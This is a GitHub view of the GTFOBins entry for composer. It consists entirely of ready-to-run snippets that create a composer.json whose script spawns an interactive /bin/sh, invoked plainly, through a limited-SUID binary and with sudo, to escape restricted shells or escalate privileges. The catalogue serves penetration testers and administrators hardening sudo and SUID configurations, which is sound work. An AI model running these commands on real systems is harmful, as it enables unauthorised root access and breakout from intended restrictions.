GTFOBins.github.io/_gtfobins/composer.md

19 lines
557 B
Markdown
Raw Normal View History

2020-11-08 03:28:45 +01:00
---
functions:
shell:
2020-11-08 03:28:45 +01:00
- code: |
TF=$(mktemp -d)
echo '{"scripts":{"x":"/bin/sh -i 0<&3 1>&3 2>&3"}}' >$TF/composer.json
composer --working-dir=$TF run-script x
limited-suid:
- code: |
TF=$(mktemp -d)
echo '{"scripts":{"x":"/bin/sh -i 0<&3 1>&3 2>&3"}}' >$TF/composer.json
./composer --working-dir=$TF run-script x
2020-11-08 03:28:45 +01:00
sudo:
- code: |
TF=$(mktemp -d)
echo '{"scripts":{"x":"/bin/sh -i 0<&3 1>&3 2>&3"}}' >$TF/composer.json
sudo composer --working-dir=$TF run-script x
2020-11-08 03:28:45 +01:00
---